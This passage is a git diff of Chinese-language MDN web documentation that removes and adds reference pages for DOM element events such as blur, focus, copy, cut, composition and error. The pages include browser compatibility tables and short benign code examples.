Basic support{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }} {{property_prefix("moz")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Unprefixed support{{ CompatVersionUnknown() }}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}   
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ +
    +
  • {{ domxref("Document.exitPointerLock()") }}
  • +
  • {{ domxref("Element.requestPointerLock()") }}
  • +
  • Pointer Lock
  • +
diff --git a/files/zh-cn/web/api/element/accesskey/index.html b/files/zh-cn/web/api/element/accesskey/index.html deleted file mode 100644 index 4f76e7f784..0000000000 --- a/files/zh-cn/web/api/element/accesskey/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Element.accessKey -slug: Web/API/Element/accessKey -tags: - - API接口 - - 属性 - - 需要丰富内容 -translation_of: Web/API/HTMLElement/accessKey -translation_of_original: Web/API/Element/accessKey ---- -
{{APIRef("DOM")}}
- -
 
- -

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

- -
-

注:  Element.accessKey 属性很少使用,因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题,浏览器约定accessKey键与特定按键一起按(比如 Alt + accessKey)来生效快捷键行为。

-
- -

 

- -

 

diff --git a/files/zh-cn/web/api/element/activate_event/index.html b/files/zh-cn/web/api/element/activate_event/index.html deleted file mode 100644 index 3185540e78..0000000000 --- a/files/zh-cn/web/api/element/activate_event/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: 'Element: DOMActivate event' -slug: Web/API/Element/Activate_event -tags: - - API - - 事件 - - 参考 -translation_of: Web/API/Element/DOMActivate_event ---- -

{{APIRef}}

- -

{{Deprecated_Header}}

- -

当元素被激活时发生,例如点击鼠标或键盘按键。

- -

当元素被激活,如使用鼠标点击或使用键盘导航并激活至这个元素时, DOMActivate 事件被触发。

- - - - - - - - - - - - - - - - -
-

Bubbles

-
-

Yes

-
-

Cancelable

-
-

Yes

-
-

Interface

-
-

{{domxref("MouseEvent")}}

-
- -

示例

- -
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseProfile="tiny"
-     xmlns:ev="http://www.w3.org/2001/xml-events"
-     width="6cm" height="5cm" viewBox="0 0 600 500">
-
-  <desc>Example: invoke an ECMAScript function from a DOMActivate event</desc>
-
-  <!-- ECMAScript to change the radius -->
-  <script type="application/ecmascript"><![CDATA[
-    function change(evt) {
-      var circle = evt.target;
-      var currentRadius = circle.getFloatTrait("r");
-      if (currentRadius == 100)
-        circle.setFloatTrait("r", currentRadius * 2);
-      else
-        circle.setFloatTrait("r", currentRadius * 0.5);
-    }
-  ]]></script>
-
-  <!-- Act on each DOMActivate event -->
-  <circle cx="300" cy="225" r="100" fill="red">
-    <handler type="application/ecmascript" ev:event="DOMActivate"> change(evt); </handler>
-  </circle>
-
-  <text x="300" y="480" font-family="Verdana" font-size="35" text-anchor="middle">
-    Activate the circle to change its size
-  </text>
-</svg>
-
- - - -

规范

- - - - - - - - - - - - - - -
SpecificationStatus
{{SpecName('UI Events', '#event-type-DOMActivate', 'DOMActivate')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- -

{{Compat("api.Element.DOMActivate_event")}}

- -

参见

- -
    -
  • {{domxref("MouseEvent")}}
  • -
  • {{domxref("Element/mousedown_event", "mousedown")}}
  • -
  • {{domxref("Element/mouseup_event", "mouseup")}}
  • -
  • {{domxref("Element/mousemove_event", "mousemove")}}
  • -
diff --git a/files/zh-cn/web/api/element/afterscriptexecute_event/index.html b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html new file mode 100644 index 0000000000..b2f4f0d980 --- /dev/null +++ b/files/zh-cn/web/api/element/afterscriptexecute_event/index.html @@ -0,0 +1,57 @@ +--- +title: Element:afterscriptexecute 事件 +slug: Web/Events/afterscriptexecute +tags: + - 事件 + - 参考 + - 非标准 +translation_of: Web/API/Element/afterscriptexecute_event +--- +
{{APIRef}}
+ +
{{Non-standard_header}}
+ +
+

此事件是早期版本的规范中的一个提案。不要依赖它。

+
+ +

afterscriptexecute 事件在一个脚本执行完毕后触发。

+ +

这是一个 Gecko(Firefox)特有的私有事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
+ +

规范

+ +

不属于任何规范。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.afterscriptexecute_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/beforescriptexecute_event/index.html b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html new file mode 100644 index 0000000000..00aa4120c1 --- /dev/null +++ b/files/zh-cn/web/api/element/beforescriptexecute_event/index.html @@ -0,0 +1,57 @@ +--- +title: Element:beforescriptexecute 事件 +slug: Web/Events/beforescriptexecute +tags: + - DOM + - 参考 + - 非标准 +translation_of: Web/API/Element/beforescriptexecute_event +--- +
{{APIRef}}
+ +
{{Non-standard_header}}
+ +
+

此事件是早期版本的规范中的一个提案。不要依赖它。

+
+ +

beforescriptexecute 事件在一个脚本被执行前触发,取消此事件可以阻止该脚本的执行。

+ +

这是一个 Gecko(Firefox)特有的私有事件。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡
是否可取消
接口{{domxref("Event")}}
事件处理器属性
+ +

规范

+ +

不属于任何规范。

+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.beforescriptexecute_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/blur_event/index.html b/files/zh-cn/web/api/element/blur_event/index.html new file mode 100644 index 0000000000..a57cc5b995 --- /dev/null +++ b/files/zh-cn/web/api/element/blur_event/index.html @@ -0,0 +1,150 @@ +--- +title: blur (event) +slug: Web/Events/blur +translation_of: Web/API/Element/blur_event +--- +

当一个元素失去焦点的时候 blur 事件被触发。它和 focusout 事件的主要区别是 focusout 支持冒泡。

+ +

常规信息

+ +
+
规范
+
DOM L3
+
接口
+
{{domxref("FocusEvent")}}
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
元素(Element)
+
默认行为
+
+
+ +

{{NoteStart}}{{domxref("Document.activeElement")}} 的值随浏览器的不同而不同 ({{bug(452307)}}): IE10把值设为焦点将要移向的对象 , 而Firefox和Chrome 往往把值设为body .{{NoteEnd}}

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM 元素)
+ +

事件代理

+ +

有两种方法来为这个事件实现事件代理:在支持 focusout 事件的浏览器中使用 focusout 事件(除了 FireFox 以外的浏览器都支持 focusout)或者通过设置 addEventListener 方法的第三个参数 "useCapture" 为 true:

+ +

HTML Content

+ +
<form id="form">
+  <input type="text" placeholder="text input">
+  <input type="password" placeholder="password">
+</form>
+ +

JavaScript Content

+ +
var form = document.getElementById("form");
+form.addEventListener("focus", function( event ) {
+  event.target.style.background = "pink";
+}, true);
+form.addEventListener("blur", function( event ) {
+  event.target.style.background = "";
+}, true);
+ +

{{EmbedLiveSample('Event_delegation')}}

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatVersionUnknown}}[1]612.15.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.053{{CompatUnknown}}10.012.15.1
+
+ +

[1] 在 Gecko 24 {{geckoRelease(24)}} 之前,事件的接口为 {{domxref("Event")}},而不是 {{domxref("FocusEvent")}}。参考 ({{bug(855741)}}).

+ +

相关的事件

+ +
    +
  • {{event("focus")}}
  • +
  • {{event("blur")}}
  • +
  • {{event("focusin")}}
  • +
  • {{event("focusout")}}
  • +
diff --git a/files/zh-cn/web/api/element/compositionend_event/index.html b/files/zh-cn/web/api/element/compositionend_event/index.html new file mode 100644 index 0000000000..4a023fc0e5 --- /dev/null +++ b/files/zh-cn/web/api/element/compositionend_event/index.html @@ -0,0 +1,146 @@ +--- +title: compositionend +slug: Web/Events/compositionend +tags: + - 事件 +translation_of: Web/API/Element/compositionend_event +--- +

当文本段落的组成完成或取消时, compositionend 事件将被触发 (具有特殊字符的触发, 需要一系列键和其他输入, 如语音识别或移动中的字词建议)。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}聚焦元素处理成分
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否冒泡
cancelable {{ReadOnlyInline}}boolean是否可以取消该事件
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (window of the document)
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)正在编辑的原始字符串, 否则为空字符串。只读。
locale{{domxref("DOMString")}} (string)组合事件的语言代码 (如果可用);否则, 为空字符串。只读。
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}}[1]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] 该事件是在9.0 之前的Gecko版本中已经可以使用, 但没有 DOM 级3属性和方法。Gecko还不支持给受信任事件的locale属性设置值。但是, 当创建不受信任的事件时,此值可以通过initCompositionEvent() 设置。

+ + + +
    +
  • {{Event("compositionstart")}}
  • +
  • {{Event("compositionupdate")}}
  • +
diff --git a/files/zh-cn/web/api/element/compositionstart_event/index.html b/files/zh-cn/web/api/element/compositionstart_event/index.html new file mode 100644 index 0000000000..71aa9f1f0d --- /dev/null +++ b/files/zh-cn/web/api/element/compositionstart_event/index.html @@ -0,0 +1,152 @@ +--- +title: compositionstart +slug: Web/Events/compositionstart +tags: + - Element + - Event + - Input method + - compositionstart + - 事件 + - 参考 +translation_of: Web/API/Element/compositionstart_event +--- +

文本合成系统如 {{glossary("input method editor")}}(即输入法编辑器)开始新的输入合成时会触发 compositionstart 事件。

+ +

例如,当用户使用拼音输入法开始输入汉字时,这个事件就会被触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("CompositionEvent")}}
Event handler property + + + + + + +
None
+
+ +

示例

+ +
const inputElement = document.querySelector('input[type="text"]');
+
+inputElement.addEventListener('compositionstart', (event) => {
+  console.log(`generated characters were: ${event.data}`);
+});
+ +

动态演示

+ +

HTML

+ +
<div class="control">
+  <label for="name">On macOS, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label>
+  <input type="text" id="example" name="example">
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea>
+  <button class="clear-log">Clear</button>
+</div>
+ +

CSS

+ +
body {
+  padding: .2rem;
+  display: grid;
+  grid-template-areas: "control  log";
+}
+
+.control {
+  grid-area: control;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+input[type="text"] {
+  margin: .5rem 0;
+}
+
+kbd {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}
+
+ +

JS

+ +
const inputElement = document.querySelector('input[type="text"]');
+const log = document.querySelector('.event-log-contents');
+const clearLog = document.querySelector('.clear-log');
+
+clearLog.addEventListener('click', () => {
+    log.textContent = '';
+});
+
+function handleEvent(event) {
+    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
+}
+
+inputElement.addEventListener('compositionstart', handleEvent);
+inputElement.addEventListener('compositionupdate', handleEvent);
+inputElement.addEventListener('compositionend', handleEvent);
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('UI Events', '#event-type-compositionstart')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.compositionstart_event")}}

+ +

参见

+ +
    +
  • 相关事件:{{domxref("Element/compositionend_event", "compositionend")}}, {{domxref("Element/compositionupdate_event", "compositionupdate")}}.
  • +
diff --git a/files/zh-cn/web/api/element/compositionupdate_event/index.html b/files/zh-cn/web/api/element/compositionupdate_event/index.html new file mode 100644 index 0000000000..11952af506 --- /dev/null +++ b/files/zh-cn/web/api/element/compositionupdate_event/index.html @@ -0,0 +1,145 @@ +--- +title: compositionupdate +slug: Web/Events/compositionupdate +translation_of: Web/API/Element/compositionupdate_event +--- +

compositionupdate 事件触发于字符被输入到一段文字的时候(这些可见字符的输入可能需要一连串的键盘操作、语音识别或者点击输入法的备选词)

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Target objects{{domxref("Element")}}
Interface{{domxref("TouchEvent")}}
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}焦点所在的,处理文字输入的元素。
type {{ReadOnlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{ReadOnlyInline}}booleanDoes the event normally bubble?
cancelable {{ReadOnlyInline}}booleanIs it possible to cancel the event?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (the window of the document).
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)要被替换掉的字符串,如果输入时没有字符串被选,则为空字符串。只读。
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)输入事件的语言代号,或者空字符串。只读。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在 compositionstart 事件之后不会立即执行。

+ +

[2] compositionupdate 事件在编辑器里的内容改变之前就会触发。自从 Gecko 12.0 {{geckoRelease("12.0")}} 开始 input 事件在输入过程中、内容变化后就触发。使用它可以在输入过程中就获得新的内容。

+ +

Gecko 在可信事件(trusted events)中还不支持 locale 属性。但是开发者可以在使用 initCompositionEvent() 创建不可信事件时指定一个值。

+ +

参阅

+ +
    +
  • {{Event("compositionstart")}}
  • +
  • {{Event("compositionupdate")}}
  • +
  • {{Event("compositionend")}}
  • +
diff --git a/files/zh-cn/web/api/element/copy_event/index.html b/files/zh-cn/web/api/element/copy_event/index.html new file mode 100644 index 0000000000..ac249f5055 --- /dev/null +++ b/files/zh-cn/web/api/element/copy_event/index.html @@ -0,0 +1,164 @@ +--- +title: copy +slug: Web/Events/copy +tags: + - Clipboard API + - Event + - Reference +translation_of: Web/API/Element/copy_event +--- +

当用户通过浏览器UI(例如,使用 Ctrl/+C  键盘快捷方式或从菜单中选择“复制”)启动复制操作并响应允许的{{domxref("Document.execCommand","document.execCommand('copy')")}}调用时触发copy事件。

+ +

基本信息

+ +
+
Specification
+
Clipboard
+
Interface
+
{{domxref("ClipboardEvent")}}
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Target
+
{{domxref("Element")}}:获得焦点的元素(如{{domxref("HTMLElement.contentEditable","contentEditable")}}内容能编辑或者可以选中的元素),或{{HTMLElement("body")}}。
+
Default Action
+
见下文。
+
+ +

调用{{domxref("DataTransfer.setData","setData(format, data)")}}可以修改{{domxref("ClipboardEvent.clipboardData")}}事件的默认行为:

+ +
document.addEventListener('copy', function(e){
+    e.clipboardData.setData('text/plain', 'Hello, world!');
+    e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
+    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
+});
+ +

不能使用{{domxref("DataTransfer.getData", "clipboardData.getData()")}}在事件处理函数中获取剪切板数据。

+ +

事件的默认行为与事件的来源和事件处理函数相关:

+ +
    +
  • synthetic copy事件没有默认行为,除非:
  • +
  • 如果默认事件没有取消,就复制到选区(如果有选中内容)到剪切板;
  • +
  • 如果取消了默认事件,但是调用了setData()方法:就复制clipboardData的内容到到剪切板;
  • +
  • 如果取消了默认行为,而且没有调用setData()方法,就没有任何行为。
  • +
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参见

+ +
    +
  • {{domxref("HTMLElement.oncopy")}}
  • +
  • Related events +
      +
    • {{event("cut")}}
    • +
    • {{event("paste")}}
    • +
    +
  • +
diff --git a/files/zh-cn/web/api/element/cut_event/index.html b/files/zh-cn/web/api/element/cut_event/index.html new file mode 100644 index 0000000000..48c024451a --- /dev/null +++ b/files/zh-cn/web/api/element/cut_event/index.html @@ -0,0 +1,159 @@ +--- +title: cut +slug: Web/Events/cut +tags: + - 事件 + - 剪贴板API + - 参考 +translation_of: Web/API/Element/cut_event +--- +
+

This page needs to be updated to match the currently specified behaviour. In the meantime please refer to the specification: https://www.w3.org/TR/clipboard-apis/#the-cut-action

+
+ +

cut 事件在将选中内容从文档中删除并将其添加到剪贴板后触发。

+ +

如果用户尝试对不可编辑内容执行剪切操作,则cut事件仍会触发,但事件对象不包含任何数据。

+ +

基本信息

+ +
+
规范
+
Clipboard
+
接口
+
{{domxref("ClipboardEvent")}}
+
是否冒泡
+
Yes
+
可取消默认行为
+
Yes
+
目标对象
+
{{domxref("DefaultView")}}, {{domxref("Document")}}, {{domxref("Element")}}
+
默认行为
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件对象(DOM树的顶层对象)。
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型。
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡。
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可以取消。
clipboardData {{readonlyInline}}{{domxref("DataTransfer")}}剪贴板的内容。不仅仅是文本,还有文件和图片。
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
+
+ +

相关

+ +
    +
  • {{domxref("HTMLElement.oncut")}}
  • +
  • Related events +
      +
    • {{event("copy")}}
    • +
    • {{event("paste")}}
    • +
    +
  • +
diff --git a/files/zh-cn/web/api/element/domactivate_event/index.html b/files/zh-cn/web/api/element/domactivate_event/index.html new file mode 100644 index 0000000000..3185540e78 --- /dev/null +++ b/files/zh-cn/web/api/element/domactivate_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Element: DOMActivate event' +slug: Web/API/Element/Activate_event +tags: + - API + - 事件 + - 参考 +translation_of: Web/API/Element/DOMActivate_event +--- +

{{APIRef}}

+ +

{{Deprecated_Header}}

+ +

当元素被激活时发生,例如点击鼠标或键盘按键。

+ +

当元素被激活,如使用鼠标点击或使用键盘导航并激活至这个元素时, DOMActivate 事件被触发。

+ + + + + + + + + + + + + + + + +
+

Bubbles

+
+

Yes

+
+

Cancelable

+
+

Yes

+
+

Interface

+
+

{{domxref("MouseEvent")}}

+
+ +

示例

+ +
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseProfile="tiny"
+     xmlns:ev="http://www.w3.org/2001/xml-events"
+     width="6cm" height="5cm" viewBox="0 0 600 500">
+
+  <desc>Example: invoke an ECMAScript function from a DOMActivate event</desc>
+
+  <!-- ECMAScript to change the radius -->
+  <script type="application/ecmascript"><![CDATA[
+    function change(evt) {
+      var circle = evt.target;
+      var currentRadius = circle.getFloatTrait("r");
+      if (currentRadius == 100)
+        circle.setFloatTrait("r", currentRadius * 2);
+      else
+        circle.setFloatTrait("r", currentRadius * 0.5);
+    }
+  ]]></script>
+
+  <!-- Act on each DOMActivate event -->
+  <circle cx="300" cy="225" r="100" fill="red">
+    <handler type="application/ecmascript" ev:event="DOMActivate"> change(evt); </handler>
+  </circle>
+
+  <text x="300" y="480" font-family="Verdana" font-size="35" text-anchor="middle">
+    Activate the circle to change its size
+  </text>
+</svg>
+
+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-DOMActivate', 'DOMActivate')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.DOMActivate_event")}}

+ +

参见

+ +
    +
  • {{domxref("MouseEvent")}}
  • +
  • {{domxref("Element/mousedown_event", "mousedown")}}
  • +
  • {{domxref("Element/mouseup_event", "mouseup")}}
  • +
  • {{domxref("Element/mousemove_event", "mousemove")}}
  • +
diff --git a/files/zh-cn/web/api/element/error_event/index.html b/files/zh-cn/web/api/element/error_event/index.html new file mode 100644 index 0000000000..913caf76bf --- /dev/null +++ b/files/zh-cn/web/api/element/error_event/index.html @@ -0,0 +1,135 @@ +--- +title: error +slug: Web/Events/error +translation_of: Web/API/Element/error_event +--- +
{{APIRef}}
+ +

当一个资源加载失败或无法使用时,会在{{domxref("Element")}}对象上触发error事件。例如当脚本执行错误、或图片无法找到或图片无效时。

+ + + + + + + + + + + + + + + + + + + + +
Bubbles(支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{domxref("Event")}} 或{{domxref("UIEvent")}}
Event handler property(事件处理程序属性){{domxref("GlobalEventHandlers/onerror", "onerror")}}
+ +

如果事件对象是从用户界面元素生成的,则它是一个{{domxref("UIEvent")}}实例;反之,它是一个{{domxref("Event")}}实例。

+ +

示例

+ +

在线示例

+ +

HTML

+ +
<div class="controls">
+  <button id="img-error" type="button">生成图像error</button>
+  <img class="bad-img" />
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+
+const badImg = document.querySelector('.bad-img');
+badImg.addEventListener('error', (event) => {
+    log.textContent = log.textContent + `${event.type}: Loading image\n`;
+    console.log(event)
+});
+
+const imgError = document.querySelector('#img-error');
+imgError.addEventListener('click', () => {
+    badImg.setAttribute('src', 'i-dont-exist');
+});
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-error')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.error_event")}}

+ +

参阅

+ +
    +
  • This event on Window targets: {{domxref("Window/error_event", "error")}} event
  • +
diff --git a/files/zh-cn/web/api/element/focus_event/index.html b/files/zh-cn/web/api/element/focus_event/index.html new file mode 100644 index 0000000000..4a93ee7726 --- /dev/null +++ b/files/zh-cn/web/api/element/focus_event/index.html @@ -0,0 +1,137 @@ +--- +title: focus +slug: Web/Events/focus +translation_of: Web/API/Element/focus_event +--- +

focus事件在元素获取焦点时触发. 这个事件和 focusin 最大的区别仅仅在于后者会事件冒泡.

+ +

基本信息

+ +
+
规范
+
DOM L3
+
接口
+
{{ domxref("FocusEvent") }}
+
是否冒泡
+
+
能否取消默认
+
+
事件目标
+
Element
+
默认行为
+
无.
+
+ +
注释: 这里的接口是指 {{ domxref("Event") }} prior to Gecko 24 {{ geckoRelease(24) }}. ({{ bug(855741) }})
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target (DOM element)
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)null
+ +

事件委托

+ +

此事件有两个可以实现事件委托的方法 : 通过在支持的浏览器上使用 focusin 事件 (除了Firefox之外的所有浏览器), 或者通过设置 addEventListener 的参数"useCapture" 值为true:

+ +

{{ EmbedLiveSample('Event_delegation', '', '', '', 'Web/Events/blur') }}

+ +

(Sample code from blur (event))

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatrueChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatVersionUnknown}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
+
+ +

相关事件

+ +
    +
  • {{event("focus")}}
  • +
  • {{event("blur")}}
  • +
  • {{event("focusin")}}
  • +
  • {{event("focusout")}}
  • +
diff --git a/files/zh-cn/web/api/element/focusout_event/index.html b/files/zh-cn/web/api/element/focusout_event/index.html new file mode 100644 index 0000000000..87a8a9bd48 --- /dev/null +++ b/files/zh-cn/web/api/element/focusout_event/index.html @@ -0,0 +1,125 @@ +--- +title: focusout +slug: Web/Events/focusout +translation_of: Web/API/Element/focusout_event +--- +

当元素即将失去焦点时,focusout 事件被触发。focusout 事件和 blur 事件之间的主要区别在于后者不会冒泡。

+ +

基本信息

+ +
+
Specification
+
DOM L3
+
Interface
+
{{domxref("FocusEvent")}}
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
